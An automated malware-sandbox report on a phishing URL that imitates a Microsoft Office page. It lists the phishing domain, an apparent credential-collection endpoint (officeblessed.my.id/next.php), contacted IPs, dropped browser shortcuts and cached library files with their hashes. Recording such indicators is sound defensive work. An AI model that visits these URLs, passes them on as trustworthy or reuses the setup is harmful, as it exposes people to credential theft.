https://zngw.officeinvoicedoc.com/DhpuI/	true		unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ba418a1eaa9423b&lang=auto	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8ba418a1eaa9423b/1724845959048/37e2e8915285562b3d2d25fd3b458d36ea219cce2f3aded9c8410ad919f331a3/7G2X06VJkRdjJdF	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false	URL Reputation: safe	unknown
https://zngw.officeinvoicedoc.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/6790c32b9fc9/api.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0	false	Avira URL Cloud: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false	URL Reputation: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false	URL Reputation: safe	unknown
https://officeblessed.my.id/next.php	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://zngw.officeinvoicedoc.com/DhpuI	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_110.1.dr, chromecache_103.1.dr, chromecache_108.1.dr, chromecache_96.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://getbootstrap.com)	chromecache_110.1.dr, chromecache_103.1.dr	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_110.1.dr, chromecache_103.1.dr, chromecache_108.1.dr, chromecache_96.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://opensource.org/licenses/MIT).	chromecache_107.1.dr, chromecache_97.1.dr	false	URL Reputation: safe	unknown
https://getbootstrap.com/)	chromecache_108.1.dr, chromecache_96.1.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.18.10.207	unknown	United States		13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States		13335	CLOUDFLARENETUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.130.137	code.jquery.com	United States		54113	FASTLYUS	false
142.250.185.164	www.google.com	United States		15169	GOOGLEUS	false
104.26.7.122	zngw.officeinvoicedoc.com	United States		13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States		15169	GOOGLEUS	false
151.101.194.137	unknown	United States		54113	FASTLYUS	false
162.241.71.126	officeblessed.my.id	United States		26337	OIS1US	false
104.17.24.14	cdnjs.cloudflare.com	United States		13335	CLOUDFLARENETUS	false
13.107.246.73	s-part-0045.t-0009.t-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.95.41	unknown	United States		13335	CLOUDFLARENETUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States		13335	CLOUDFLARENETUS	false
162.62.150.176	ger.file.myqcloud.com	Singapore		132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States		15133	EDGECASTUS	false
104.17.25.14	unknown	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500447
Start date and time:	2024-08-28 13:52:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://zngw.officeinvoicedoc.com/DhpuI
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.phis.win@16/46@42/18
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 216.58.206.46, 64.233.184.84, 34.104.35.123, 142.250.74.202, 172.217.18.106, 142.250.184.234, 216.58.206.42, 142.250.186.170, 142.250.185.170, 172.217.18.10, 142.250.185.234, 142.250.185.202, 172.217.16.138, 142.250.186.138, 142.250.186.74, 142.250.186.42, 216.58.206.74, 172.217.16.202, 142.250.184.202, 142.250.181.234, 142.250.185.174, 142.250.184.238, 216.58.206.78, 142.250.186.35, 142.250.181.238
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, settings-win.data.microsoft.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 10:52:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9901095899177
Encrypted:	false
SSDEEP:	48:8cedmWTGylp8HmidAKZdA1FehwiZUklqehly+3:8xTJqy
MD5:	231C801E6774CAB858DC1777AB2D867A
SHA1:	633A1F5BCFF314645653DF0C32A3B37DD9A344F8
SHA-256:	8053E67E0A78482359AB0B26309AF5C2A4046398D585DF22CA802927BCFA6ECF
SHA-512:	BCA366BD7A0A34762DBA19ACFA2B25D7E3B2A6114D358918409EC6620F93569045C8E85F521C764FF5CF472A470970DB06A1D6BFA512DAF834E16B63EE67BD41
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...._...@...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............H.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 10:52:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.008893628526103
Encrypted:	false
SSDEEP:	48:8SedmWTGylp8HmidAKZdA1seh/iZUkAQkqehay+2:8TT/9Qny
MD5:	D123D7B76439F036C3E8D03E47B2D895
SHA1:	A6037265E0FD0C6A5F33E4C84F24280FEA01485C
SHA-256:	880D852FADA1444C5327684DC06E139BDBA2A7A3EDE2F691E6AAAFD907FB6B1D
SHA-512:	9BDE01924DEC8C49EAC5D32FECB008F5356605C3F45C592D3F9A33CDDA07D537414A5A3AA83839D941E81218A2013FC410D7A3255C69AED090B70A59C4930220
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......@...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............H.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.012412396123577
Encrypted:	false
SSDEEP:	48:86edmWTGylpAHmidAKZdA14meh7sFiZUkmgqeh7sMy+BX:8bTvnmy
MD5:	90E9D0895D18DBB2D4DE935CA2A7E6F3
SHA1:	DE613DEB28472AC6BB59E55979F69F7F2C4E584B
SHA-256:	C403F426514EB6F59ED35623AE35385485EF72C6E6C83F2DDE9F1A9FB5751EB0
SHA-512:	8395336841587387E4A4A9547D133FD8E84469A884A7AD05582ACA925D7177D80C8C0FDD722F75D85276B6F782D4C0929B506CFA7960EB4D8A78E84154191B21
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............H.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 10:52:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.006768631175416
Encrypted:	false
SSDEEP:	48:8FedmWTGylp8HmidAKZdA1TehDiZUkwqehey+R:8kTMky
MD5:	34366693F9D535E2C1C038BE78C821A3
SHA1:	284A069A62BC8712B10BACF846D04182059E1E26
SHA-256:	1609504C43654C1D3BC65B33C753D3993E6C96C8546A254564AFEEB89CF380B2
SHA-512:	DDFA7E5744D99BC268FC8FF9C639699B445BA8EF9AD2B6AE147FC6BB7E03C52920DF2F4ECED4254BAA2C7D01C6E83B884EFAFAE846A6E9B2D0424121B6BB1DF2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........@...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............H.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 10:52:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9931294655889675
Encrypted:	false
SSDEEP:	48:8QedmWTGylp8HmidAKZdA1dehBiZUk1W1qehoy+C:8lTc9Iy
MD5:	D92837C48F09A93E302BE36E6937D525
SHA1:	AC5B4F5BD63B78A3892CF2F815BDCE5FEE4C573F
SHA-256:	B9440B63DD816D9BEB2F4507017292C37982CD4262178BEC34801B09B80A1D62
SHA-512:	29444BBA28E29F53F49F760B3271A0B80A4A3EC0A66248EBC635B8538E4A6E2F7185A48D8215F9FA373C2739DAB91601976E59B2143C58102B83F6D53F4A6580
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......@...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............H.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Aug 28 10:52:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.001030507404554
Encrypted:	false
SSDEEP:	48:8qedmWTGylp8HmidAKZdA1duTeehOuTbbiZUk5OjqehOuTbmy+yT+:8rTuTfTbxWOvTbmy7T
MD5:	A000C07680D2B1624828644C66ED0E09
SHA1:	66BFC22A3161A6FE6CD8D5B61A0FFA1DADFC1F26
SHA-256:	420676E5345E248C3DA7607A2B8E47F8AB2E89AF0FB30B79D1E5A008E7A757EA
SHA-512:	717CF8CA82A76F445150C7817D506BE7DB7CACBECA31F384D6EF3547EC857E64D43CE5CF7AD7B500A472CB8CCC9902F975DA13D86164F5A7E3873C41F7FAC409
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....i..@...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............H.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45034)
Category:	downloaded
Size (bytes):	45035
Entropy (8bit):	5.400557193761079
Encrypted:	false
SSDEEP:	768:oCD98WxH5PbdrKAY+2HtedqdRQgFiIonqIjaEzY+iBggUydRm1TPjXk/bYjf+cd6:/xH5PbdrZkygk7qIjDgUjJY
MD5:	C4D5335B2B69C6998EE34F5F7B3E246F
SHA1:	AF0AE01ECCEE153877976D5C7D6500AA9C380B60
SHA-256:	7EDA47B0C02C44BDAA43A5B14857F1257DDBD620B0397C32AA3AE8BAF769AB55
SHA-512:	1C62C5D29C56848C258701F2E6B39E2152A3CACEB2C96F19ADB8542FDCC233F42BD0FAE9D03C8EA04F6B4490D0B69FD24F62B6D18A14A31D87E24906CFC88C58
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/6790c32b9fc9/api.js
Preview:	"use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);function g(p){St(u,o,c,g,_,"next",p)}function _(p){St(u,o,c,g,_,"throw",p)}g(void 0)})}}function P(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):P(e,r)}function Oe(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Ce(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Oe(e,c,a[c])})}return e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 41 x 72, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524404
Encrypted:	false
SSDEEP:	3:yionv//thPlEPlJWvAkxl/k4E08up:6v/lhPy6vAk7Tp
MD5:	0BE5797842E50EC963E8D246BB971686
SHA1:	E316840F31BDFB37C824A8183F4CF68D68342575
SHA-256:	4D1A023672D785F4F2BBD68A31121DAB9896EDDBAF9C4946D6B07437B804A52B
SHA-512:	66632867A50EC896F043307F3E659F7820F8C38DC0383DF25F944050E071CAB5881C9E0CFF18BD9BA775739F787ABD61266760C864081358A615A91EE462E44E
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ba418a1eaa9423b/1724845959050/IWBKf4cfkGAQMfX
Preview:	.PNG........IHDR...)...H......K^....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 102

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	196
Entropy (8bit):	5.098952451791238
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezocKqD:J0+oxBeRmR9etdzRxGez1T
MD5:	62962DAA1B19BBCC2DB10B7BFD531EA6
SHA1:	D64BAE91091EDA6A7532EBEC06AA70893B79E1F8
SHA-256:	80C3FE2AE1062ABF56456F52518BD670F9EC3917B7F85E152B347AC6B6FAF880
SHA-512:	9002A0475FDB38541E78048709006926655C726E93E823B84E2DBF5B53FD539A5342E7266447D23DB0E5528E27A19961B115B180C94F2272FF124C7E5C8304E7
Malicious:	false
Reputation:	low
URL:	https://zngw.officeinvoicedoc.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.</body></html>.

Chrome Cache Entry: 103

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 104

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 105

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
